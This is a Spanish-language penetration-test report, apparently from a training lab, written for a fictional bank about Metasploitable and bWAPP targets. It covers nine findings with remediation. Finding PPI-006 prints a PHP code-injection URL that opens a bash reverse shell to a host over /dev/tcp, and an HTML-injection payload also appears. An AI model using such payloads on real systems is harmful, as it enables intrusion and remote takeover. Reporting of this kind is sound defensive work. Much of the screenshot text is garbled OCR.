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Declaracion de confidencialidad

Este documento es propiedad exclusiva de Banco Feliz S.A y Hack Force. Este documento
contiene informacion patentada y confidencial. La duplicacién, redistribuciéon o uso, total o
parcial, en cualquier forma, requiere el consentimiento tanto de Banco Feliz S.A como de Hack
Force.

Banco Feliz S.A puede compartir este documento con auditores bajo acuerdos de no divulgacién
para demostrar el cumplimiento de los requisitos de las pruebas de penetracion.

Descargo de responsabilidad

Las conclusiones y recomendaciones reflejan la informacién recopilada durante la evaluacién y
no los cambios o modificaciones realizados fuera de ese periodo.

Los compromisos limitados en el tiempo no permiten una evaluaciéon completa de todos los
controles de seguridad. Hack Force prioriz6 la evaluacion para identificar los controles de
seguridad mas débiles que un atacante podria explotar. Hack Force recomienda llevar a cabo
evaluaciones similares anualmente por parte de evaluadores internos o externos para
garantizar el éxito continuo de los controles.

Informacion de Contacto

Nombre Titulo Informacion de contacto

Banco Feliz S.A

Willian Blanco Gerente IT. Email: wblanco@bancofeliz.com
Hack Force

Ewor01 Pentester Junior Email: ewor01@hackforce.com
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Resumen de la evaluacion:

Del 21 de Enero de 2023 al 24 de Enero de 2023, Banco Feliz contraté a Hack Force para evaluar
la postura de seguridad de su infraestructura en comparaciéon con las mejores practicas
actuales del sector que incluian una prueba de penetracion en la red interna.

Las fases de las actividades de pruebas de penetracién incluyen las siguientes:

e Planificacion - Se retnen los objetivos del cliente y se obtienen las reglas de
compromiso.

e Reconocimiento - Identificar ante qué equipo se est3, si es Windows o si es Linux, que
puertos y servicios estan corriendo en él y si es una pagina web que tecnologias utiliza,
etc.

e Andlisis de Vulnerabilidades - Realizar escaneos y enumeraciones para identificar
versiones de servicios dados a través de un puerto, para lograr dar con los recursos
necesarios.

e Explotacién - Confirmar las vulnerabilidades potenciales mediante la explotacién y
realizar descubrimientos adicionales en caso de nuevos accesos.

e Informes - Documentar todas las vulnerabilidades y explotaciones encontradas, los
intentos fallidos y los puntos fuertes y débiles de la empresa.

Componentes de la evaluacion
Pruebas de penetracion interna.

Una prueba de penetracidn interna emula el papel de un atacante desde dentro de la red. Un
ingeniero escaneara la red para identificar posibles vulnerabilidades del host y realizar ataques
comunes y avanzados a la red interna. El ingeniero tratara de obtener acceso a los hosts
tratando de comprometer los diferentes servicios expuestos para asi tomar control de las
maquinas y filtrar datos sensibles.
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Indices de gravedad de los hallazgos

La siguiente tabla define los niveles de gravedad y el rango de puntuacién CVSS
correspondiente que se utilizan en todo el documento para evaluar la vulnerabilidad y el
impacto del riesgo.

CVSSV3 Definicion
Rango de
puntuacion

La explotacion es sencilla y suele resultar en un compromiso a
nivel de sistema. Se aconseja elaborar un plan de accién y
parchear inmediatamente.

La explotacion es mas dificil, pero podria causar privilegios
elevados y potencialmente una pérdida de datos o tiempo de
inactividad. Se recomienda elaborar un plan de accién y
parchear lo antes posible.

Existen vulnerabilidades pero no son explotables o requieren
pasos adicionales como la ingenieria social. Se aconseja elaborar
un plan de accién y aplicar parches una vez resueltos los
problemas de alta prioridad.

Las vulnerabilidades no son explotables, pero reducirian la
superficie de ataque de una organizacién. Se aconseja elaborar
un plan de accién y parchear durante el préximo
mantenimiento.

No existe ninguna vulnerabilidad. Se proporciona informacién
adicional sobre los elementos detectados durante las pruebas,
los controles estrictos y la documentacién adicional.

Baja

Informativa
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Factores de Riesgo

El Riesgo se mide por 2 factores: Probabilidad e Impacto:

Probabilidad

La probabilidad mide el potencial de explotaciéon de una vulnerabilidad. Las puntuaciones se
otorgan en funcién de la dificultad del ataque, las herramientas disponibles, el nivel de
habilidad del atacante y el entorno del cliente.

Impacto

El impacto mide el efecto potencial de la vulnerabilidad en las operaciones, incluyendo la
confidencialidad, integridad y disponibilidad de los sistemas y/o datos del cliente, el dafio a la
reputacion y las pérdidas financieras.

Objetivo

i0 Detalle

Test de Penetracion Interno 192.168.0.215

Permisos de Cliente

Banco Feliz S.A proporciono a Hack Force los siguientes derechos:

e Acceso interno ala red a través de una VPN.
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Resumen Ejecutivo

Hack Force evalu6 la postura de seguridad interna de Banco Feliz S.A mediante pruebas de
penetracion del 21 de Enero de 2023 al 24 de Enero de 2023. Las siguientes secciones
proporcionan una vision general de alto nivel de las vulnerabilidades descubiertas, los intentos
exitosos y fallidos, y las fortalezas y debilidades.

Se establecieron limitaciones de tiempo para las pruebas. Las pruebas de penetracién en la red
interna se permitieron durante 4
(4) dias laborables.

Resumen de las pruebas
Se pudieron observar maultiples servicios expuestos y con vulnerabilidades tales como:

Servicio Ftp con version vulnerable de vstfpd 2.4.3 y se logré explotar una vulnerabilidad para
dicho servicio y asi obtener el acceso total al equipo (Encontrar en PPI-001).

Utilizando el servicio Telnet se logré obtener acceso al equipo, donde se podia visualizar la
informacién que poseia en un banner donde estaban expuestas sus credenciales y asi poder
ganar acceso al mismo (Encontrar en PPI-002).

Haciendo uso de la herramienta metasploit se logré vulnerar el servicio Samba de dicho equipo
para asf poder obtener acceso y control total del mismo (Encontrar en PPI-003).

Haciendo uso de netcat mediante una conexién inversa logramos conectarnos al equipo
mediante una vulnerabilidad expuesta en el puerto 1524 sobre el servicio Ingreslock que nos
permitia entablar la conexién sin problemas (Encontrar en PPI-004).

Haciendo uso de metasploit logramos vulnerar el servicio VNC extraer las credenciales de
conexién a dicho servicio, en el cual posteriormente nos conectamos mediante una herramienta
de escritorio remoto y tomar control sobre el equipo (Encontrar en PPI-005).

Se logro concluir que la siguiente aplicacién web bWAPP tiene multiples vulnerabilidades, una
de ellas HTML Injection, lo que nos permitia alterar dicho contenido de la pagina (Encontrar en
PPI-006).

Luego se sigui6 inspeccionando y como usa un protocolo de conexién insegura HTTP se pudo
realizar un ataque denominado Man In The Middle y asf obtener las credenciales en texto claro
(Encontrar en PPI-007).

Se encontro6 otra vulnerabilidad la cual nos permitia inyectar cédigo en el equipo, denominada
como PHP Code Injection y asi se obtuvo una conexion reversa para ganar acceso al equipo
(Encontrar en PPI-008).
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Utilizando Burpsuite una herramienta para interceptar conexiones, lo que se conoce como
proxy, se logr6 determinar que el sitio era vulnerable a sql injection, modificando asi la peticiéon
interceptada por el proxy y reenvidndola nuevamente al sitio en el cual nos mostré un error de
base de datos MYSQL (Encontrar en PPI-009).

El resto de las conclusiones fueron altas, moderadas, bajas o informativas. Para mas
informacion sobre los resultados, consulte la secciéon Resumen técnico.

Notas y recomendaciones de las pruebas

Los resultados de las pruebas de la red de Banco Feliz S.A son indicativos de una organizacion
que se somete a su primera prueba de penetracion, como es el caso. Muchos de los hallazgos
descubiertos son vulnerabilidades dentro de los servicios mas comunes utilizados
habitualmente y que poseen configuraciones por defecto o servicios desactualizados lo que
conlleva a que estén expuestos a multiples vulnerabilidades.

Durante las pruebas, destacaron algunas constantes: un parcheado débil, lo que conllevo a que
la mayoria de los servicios expuestos fueran vulnerables debido a la antigiiedad de estos, lo que
condujo al compromiso inicial del equipo ya que son uno de los puntos de apoyo que un
atacante intenta utilizar en una red.

Recomendamos que Banco Feliz S.A realice evaluaciones periddicas de vulnerabilidad: Como
parte de una estrategia eficaz de gestidén de riesgos de la organizacion, las evaluaciones de
vulnerabilidad deben llevarse a cabo de forma regular. Hacerlo permitira a la organizacién
determinar si los controles de seguridad instalados estin correctamente instalados,
funcionando segun lo previsto y produciendo el resultado deseado

Implantar un programa de gestion de parches: La aplicaciéon de un programa coherente de
gestion de parches es un componente importante para mantener una buena postura de
seguridad. Esto ayudara a limitar la superficie de ataque que resulta de ejecutar servicios
internos sin parches.

Siguiendo estas recomendaciones Banco Feliz S.A deberia lograr prevenir posibles ataques
dentro de su red.
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Puntos fuertes y débiles

A continuacién se identifican los principales puntos fuertes detectados durante la evaluacion:

1. Se observo multiples servicios desactualizados
2. Aligual que muchas paginas web con plugins y tecnologias antiguas
3. Exploits que otorgaban acceso al Sistema como Root

A continuacioén se identifican los principales puntos débiles clave identificados durante la
evaluacion:

Servicio FTP desactualizado
Servicio Telnet antiguo
Servicio Samba desactualizado
Servicio Ingreslock

Servicio VNC desactualizado
Inyeccién de codigo HTML
Protocolo inseguro HTTP
Inyeccién de cé6digo PHP
Inyecciones SQL

OO W
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Resumen e informe de vulnerabilidades

Las tablas siguientes ilustran las vulnerabilidades encontradas por impacto y las

soluciones recomendadas:

Resultados de la prueba de penetracion interna

Critica

Moderada

Informativa

Pruebas de Penetracién Interna

PPI-001: Servicio FTP desactualizado
version utilizada 2.3.4

PPI-002: Servicio Telnet servicio
antiguo

PPI-003: Servicio Samba
desactualizado

PPI-004: Servicio Ingreslock, se obtiene
una bindshell con maximos privilegios

PPI-005: Servicio VNC desactualizado

PPI-006: Inyeccion de codigo PHP

PPI-007: Inyeccién de codigo SQL

ctualizar Vsftpd a la versién
mas reciente.

Utilizar SSH en su versién mas
reciente en lugar de Telnet.

ctualizar Samba a la version
mas reciente.

ctualizar el servicio a su
ersion mas reciente o
desactivarlo.

Cifrar las conexiones VNC,
actualizar el servicio y usar
contrasefias robustas.

La sanitizacion y el manejo de
la entrada del usuario son
primordial para la seguridad
de las aplicaciones PHP.

Una medida habitual consiste
en duplicar las comillas
simples que aparecen en la
informacién introducida por el
usuario antes de incorporarla
a una consulta SQL.

PPI-008: Protocolo inseguro HTTP Moderada |Utilizar la version segura del
protocolo, la cual seria HTTPS.
PPI-009: Inyeccion de cédigo HTML Moderada [Se debe comprobar si cada

entrada contiene algiin cddigo

script o HTML

Copyright © EworO1
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Resumen técnico

Resultados de la prueba de penetracion interna
Encontrado PPI-001: Servicio FTP desactualizado version utilizada 2.3.4

(Critica)

Descripcion: Banco Feliz S.A utiliza el servicio FTP en su versién desactualizada
permitiendo asi la explotacion de la vulnerabilidad vsftpd en su
version 2.3.4 la cual permite la ejecucion de codigo.

Riesgo: Probabilidad: Alta - Este ataque es muy efectivo en todas las versiones

antiguas de Vsftpd.

Impacto: Muy Alto - La ejecucidn de cédigo permite a los atacantes
tomar el control del sistema.

Referencias: https://www.cvedetails.com/cve/CVE-2011-2523

Evidencia

it vsftpd 2.3.4

Podemos observar los exploit para esa version de vsftpd.
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oami
root
ifconfig
eth®

in
up

Correccion:

Actualice a la ultima version del software.

(4.4 MB)

Copyright © EworO1
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Encontrado PPI-002: Servicio Telnet demasiado antiguo (Critica)
Descripcion: Banco Feliz S.A utiliza el servicio Telnet el cual se considera inseguro
debido a su antigtiedad.

Riesgo: Probabilidad: Alta - Este ataque es muy efectivo ya que Telnet se
considera un protocolo de comunicacién obsoleto.

Impacto: Muy Alto - Ya que existen multiples exploit para el servicio
Telnet.

Referencias: https://nvd.nist.gov/vuln/detail/CVE-1999-0619

Evidencia

to an untrusted network!
Contact: s E =tasploit.com

Logi 1 Fadmin to get started

from par
P Thu Apr 1 :58:C UTC 2008 1686
CH
in the

Ubuntu come h ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable 1

L Ubuntu documentation, please wvi
-com/

Correccién:
El servicio Telnet es un protocolo inseguro y obsoleto y debe ser desactivado. Existen
alternativas seguras como SSH.
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Encontrado PPI-003: Servicio Samba desactualizado (Critica)

Descripcion: Banco Feliz S.A utiliza el servicio Samba en versiones muy antiguas lo
que conlleva a multiples ataques, en este caso se utilizé metasploit
para lograr ejecucion de cédigo.

Riesgo: Probabilidad: Alta - Este ataque es muy efectivo ya que Samba es un
servicio muy utilizado pero al estar desactualizado es una via
potencial de ataque.

Impacto: Muy Alto - Ya que existen multiples exploit para el servicio
Samba

Referencias: https://www.cvedetails.com/cve/CVE-2007-2447/?q=CVE-2007-
2447

Evidencia

-01-21 04

in

UP LOOP
packet

761 (3.1 MB)

Correccién:
El servicio Samba debe ser desactivado en caso de o utilizarse y si se utiliza se recomienda
actualizar a la dltima version.
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Encontrado PPI-004: Servicio Ingreslock (Critica)

Descripcion: Banco Feliz S.A utiliza el servicio Ingreslock para conexiones TCP lo cual
conlleva a una ejecucion de codigo al estar activado dicho servicio y
desactualizado.

Riesgo: Probabilidad: Alta - Este ataque es muy efectivo ya que nos na la

posibilidad de ejecutar cédigo en el equipo.

Impacto: Muy Alto - Los atacantes pueden aprovechar este problema
para ejecutar codigo y comprometer el sistema.

Referencias: No hay referencias.

Evidencia

ifconfig
Hwaddr

315 error
@ txqueu =

letasploitable: /#

Correccion:
Una solucién temporal seria desactivar el servicio.
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Encontrado PPI-005: Servicio VNC desactualizado (Critica)

Descripcion: Banco Feliz S.A utiliza el servicio VNC para conexiones de escritorio
remoto, pero posee el software desactualizado lo que da entrada a los
atacantes de comprometer el equipo.

Riesgo: Probabilidad: Alta - Este ataque es muy efectivo ya que es uno muy
utilizados por los atacantes para obtener el control del equipo.

Impacto: Muy Alto - Los atacantes pueden aprovecharse de este
servicio y acceder de manera remota mediante software de conexion
de escritorio remoto

Y comprometer el sistema.

Referencias: https://www.rapid7.com/db/modules/auxiliary/scanner/vnc/vnc |
ogin/ - VNC Authentication Scanner

Evidencia

' root@metasploitable: /

rootBmetasploitable; # ifconfig

ethl Link encap:Ethernet HWaddr 00:0c:29:b1:e3:08
inet addr:192,168,0,.215 Bcastil92,1608,0,255 Mask:255,255,255,0
ineth addri feB0::20c129FF1feblie308/64 Scopeilink
UP BROADCAST RUMMIMG MULTICAST HMTU31500 HMetric:l
BX packets:81577 errorsi0 droppedi0 overrunsi0 frameio
TH packet=iB9807 errorsid droppedil overruns:0 carrier;o
collisionsi0 txqueuelenilOOn
R¥ bytes:5196927 (4.9 MB) TH bytes:5242662 (4.9 HB)
Intertrupt:l? Base addressi0x2000

la Link encap:Local Loopback
inet addr:127.0.0.1 HMask:2B5.0.0.0
inetE addr: 131,128 ScopeiHost
UP LOOPBACK RUMMING MTU:1E436 HMetricil
F¥ packets:6919 errorsi0 dropped:i( overrunsi0 frame:0
T¥ packets:B918 errorsi0 dropped:i0 overrunsi0 carrieria
collisions:0 txgususlenid
FH butes:3438017 (3.2 MB) TH butes:3432017 (3.2 HE)

rootBmetasploitables 4 I

‘\

Correccién:
Actualizar el servicio VNC a su version mas reciente, utilizar conexiones encriptadas y
contrasenas robustas.
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Encontrado PPI-006: Inyeccidn de cédigo PHP (Alta)

Descripcién: Se identificé una pagina web de Banco Feliz S.A la cual permite la
inyeccidn de cddigo PHP, permitiendo a un atacante comprometer el
equipo.

Riesgo: Probabilidad: Moderada - Este ataque es muy efectivo en paginas web

con versiones de PHP antiguas.

[mpacto: Alto - Los atacantes pueden ejecutar codigo en el equipo
comprometido y hacer movimientos laterales para escalar privilegios y
obtener control total.

Referencias: https://owasp.org/www-community/attacks/Code Injection
https://cwe.mitre.org/data/definitions/77.html

Evidencia

= bWAPP - PHP Code Inject X +

« X Q. http://192.168.0.207/bWAPP/phpi.php?message=exec(%22/bin/bash%20-c%20%27bash%20-1%20%3E%26%20/dev/tcp/192.168.0.158/443%200%3E%261%27%22);

@startPage | o piy. 192 168.0.207/bWAPP/phpi. php?message=exec(“/binfbash -c 'bash -i >%26 /dev/tcp/192.168.0.158/443 0>%261"); — Visit

This time, search with: @ * O 0O

Set your security level:

an extremely buggy web app ! low v |[set|Current: Ie

Podemos observar que con la siguiente inyecciéon de cddigo obtenemos una Reverse Shell.

ing on -[a wy] 443 ...
ct to [19 0.158] from (UNKNOWN) [192.168
job control in this shell

wa /o p-git/bWAPP$ whoamt

Correccion:

La sanitizacion y el manejo de la entrada del usuario son primordial para la seguridad de las
aplicaciones PHP. Siempre que acepte entradas de usuario, debe asegurarse de que son vélidas,
almacenarlas y procesarlas de tal manera que no permitan ataques contra la aplicacion.
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Encontrado PPI-007: Inyeccién de cddigo SQL (Alta)

Descripcion: Se identificé una pagina web de Banco Feliz S.A la cual permite las
inyecciones SQL, permitiendo a un atacante filtrar informacion
confidencial de la base de datos de la aplicacién.

Riesgo: Probabilidad: Moderada - Este ataque es muy efectivo en paginas web
antiguas.

Impacto: Alto - Los atacantes pueden ejecutar cédigo en el equipo
comprometido filtrar informacion de la base de datos y extraer
credenciales para comprometer totalmente el equipo.

Referencias: https://portswigger.net/web-security/sql-injection
https://cwe.mitre.org/data/definitions/89.html
https://capec.mitre.org/data/definitions/66.html

Evidencia

g Q

Send © Target: http://192.168.0.207 22  HTTP/1 (3)

Request Response Inspector Nl = = @ X

Correccién:

Una medida habitual consiste en duplicar las comillas simples que aparecen en la informacion
introducida por el usuario antes de incorporarla a una consulta SQL. Siempre que acepte
entradas de usuario, debe asegurarse de que son vdlidas, almacenarlas y procesarlas de tal
manera que no permitan ataques contra la aplicacion.
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Encontrado PPI-008: Protocolo Inseguro HTTP (Moderada)

Descripcion: Se identificé una pagina web de Banco Feliz S.A la cual cuenta con el
protocolo inseguro HTTP permitiendo asi a un atacante interceptar las
conexiones y poder llegar a ver credenciales en texto claro ya que la
conexion no posee cifrado.

Riesgo: Probabilidad: Moderada - Este ataque es muy efectivo en paginas web
que usan el protocolo antiguo el cual seria HTTP.

Impacto: Moderada - Los atacantes pueden interceptar la conexion
mediante una herramienta como wireshark y poder filtrar las
credenciales en texto claro de las paginas que utilizan este cifrado.

Referencias: https://nvd.nist.gov/vuln/detail/CVE-2022-3245

Evidencia

152 16.699051991 192.168.0.158 192.168.0.207 742 POST /DWAPP/sm_mitm_1.php HTTP/1.1 (application/X-www-Torm-urlencoded)
156 16.700712758 192.168.8.207 192.168.0.158 HTTP 892 HTTP/1.1 2008 OK (text/html)

Frame 152: 742 bytes on wire (5936 bits), 742 bytes captured (5936 bits) on interface ens33, id @
Ethernet II, Src: VMware_e@:6f:ec (©@:0c:29:e0:6f:ec), Dst: VMware_aB:55:5f (00:0c:29:a8:55:5F)
Internet Protocol Version 4, Src: 192.168.0.158, Dst: 192.168.0.207
Transmission Control Protocol, Src Port: 59664, Dst Port: 80, Seq: 1, Ack: 1, Len: 676
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-Torm-urlencoded
-~ Form item: "login" = "bee"

Key: login
~ Form item: “password" = "bug"

Key: password

value: bug
~ Form item: "form" = "submit"

Key: form

Walue: submit

»
b
b
b
b

Correccion:
Dejar de utilizar el protocolo HTTP ya que utiliza conexiones sin cifrar, en su lugar utilizar
HTTPS que con la version 1.3 de TLS ya que las anteriores se consideran vulnerables.
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Encontrado PPI-009: Inyeccién de cédigo HTML (Moderada)

Descripcion: Se identificé una pagina web de Banco Feliz S.A la cual es vulnerable a
la inyeccidn de c6digo HTML no se considera muy grave pero se
pueden hacer redirecciones maliciosas entre otras cosas.

Riesgo: Probabilidad: Moderada - Este ataque es muy efectivo en paginas
web que no esta sanitizado correctamente su codigo HTML.

Impacto: Moderada - Los atacantes pueden hacer por por ejemplo un
Login falso en una pagina y ocultar el original y mediante un poco de
ingenieria social hacer que la victima introduzca sus datos.

Referencias: https://wiki.owasp.org/index.php/Testing for HTML Injection (OTG

-CLIENT-003)

https://www.acunetix.com/vulnerabilities /web /html-injection/

Evidencia

&= C O & http://192.168.0.207/bWAPP/htmli_get.php?firstname=<b>Prueba!<%2Fb>&lastname=<h2>Hackeado<%2Fh2>&form=submit

@ start Page @ Hacking Labs | [JParrot OS [JHack The Box [ OSINT Services [ Vuln DB [JPrivacy and Security [JLearning Resources @) Reparar paquetes r..

-

an extremely buggy web app !

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ HTML Injection - Reflected (GET) /

Enter your first and last name:
First name

Last name:

=

BOAEC

Welcome Prueba!

// Hackeado //

Correccién:
Los scripts de las aplicaciones o paginas web deben filtrar los metacaracteres de la entrada del
usuario.
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